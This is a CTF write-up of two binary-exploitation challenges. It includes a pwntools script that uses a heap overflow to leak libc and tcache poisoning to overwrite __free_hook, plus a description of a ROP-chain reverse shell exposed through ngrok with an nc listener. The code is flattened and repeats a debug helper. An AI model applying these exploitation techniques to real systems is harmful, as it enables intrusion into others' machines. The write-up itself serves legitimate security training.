Leak libc with unsorted bin using heap overflow then overwrite __free_hook to winner function and call free
Solution
Given the soal file with libc.so.6. First, I ran pwninit for patching, then start the program and it gave me four options:
Request Page, which will request the index and size for malloc.
Fill Page, which will request the index and input data.
Show Page, which will display the contents of the index.
Remove Page, which will free the given index.
It’s also important to note that the size is limited to 0x420, and the number of indexes is limited to 3.
There was a heap overflow during fill page. To get a libc leak, you can use a large allocation, where the free value goes to the unsorted bin. To view the free index, edit the previous index.
After getting the libc leak, simply perform a tcache poisoning on __free_hook, as the libc version used is 2.31. It’s also worth notice that there’s a winner function, so simply overwrite __free_hook to the winner function.
defdebug(): global gdbscript, pid if args.QEMU: gdb_args = ["tmux", "splitw", "-h", "-p", "65", "gdb"] for cmd in [item for line in gdbscript.strip().splitlines() if (item := line.strip())]: gdb_args.extend(["-ex", cmd]) Popen(gdb_args) elif args.DOCKER: gdbscript = f''' init-pwndbg set sysroot /proc/{pid}/root c '''.format(**locals()) attach(int(pid), gdbscript=gdbscript, sysroot=f"/proc/{pid}/root", exe='chall') else: attach(io, gdbscript=gdbscript)
defexploit(): global io io = initialize() with log.progress("Leak libc via unsortedbins heap overflow"), context.silent: alloc(0, 0x18) # chunk 0 alloc(1, 0x420) # chunk 1 alloc(2, 0x18) # chunk 2 also guard free(1) edit(0, b"A"*0x20) # Heap overflow touch chunk 1 show(0) # Leak with chunk 0 io.recv(0x20) libc_leak = u64(io.recvline().strip().ljust(8, b"\x00")) libc.address = libc_leak - 0x1ecbe0 log.info("Libc base address: %#x", libc_leak) log.info("Libc base address: %#x", libc.address)
with log.progress("Tcache poisoning to __free_hook and overwrite to winner function"), context.silent: edit(0, b"A"*0x18 + p64(0x430)) # Fix chunk 1 to valid header size
alloc(1, 0x18) # chunk 1 free(2) free(1) # victim chunk edit(0, b"A"*0x20 + p64(libc.symbols['__free_hook'])) # Heap overflow to chunk 1 alloc(2, 0x18) # chunk 2 alloc(1, 0x18) # chunk 1 edit(1, p64(elf.sym["winner"])) # Overwrite __free_hook with winner function free(2) # Trigger the winner function io.interactive()
Use the mov qword ptr gadget to arbitary write the socket address and /bin/sh\0 string, then simply do a reverseshell with socket, dup2, connect and execve.
Solution
Given a chall file with chall.c. Here, there’s a BOFgets command, but after the gets command, it fclosestdin, stdout, and stderr. Therefore, we need a way to obtain a shell in one input so that the program doesn’t terminate.
After researching, I discovered that this problem is similar to the pwnable.twkidding problem, where fclose is used for stdin, stderr, and stdout, but the 64-bit version is provided.
So, they perform a reverse shell by using a socket, then dup2 the socket’s file descriptor, and then connect. So, I simply use a ropchain to invoke the syscall. To public the IP address, we can use ngrok tcp 8080, then nc -lnvp 8080.
To get the shell in one input, we can write .bss/bin/sh\0 then execute.
defdebug(): global gdbscript, pid if args.QEMU: gdb_args = ["tmux", "splitw", "-h", "-p", "65", "gdb"] for cmd in [item for line in gdbscript.strip().splitlines() if (item := line.strip())]: gdb_args.extend(["-ex", cmd]) Popen(gdb_args) elif args.DOCKER: gdbscript = f''' init-pwndbg set sysroot /proc/{pid}/root c '''.format(**locals()) attach(int(pid), gdbscript=gdbscript, sysroot=f"/proc/{pid}/root", exe='chall') else: attach(io, gdbscript=gdbscript)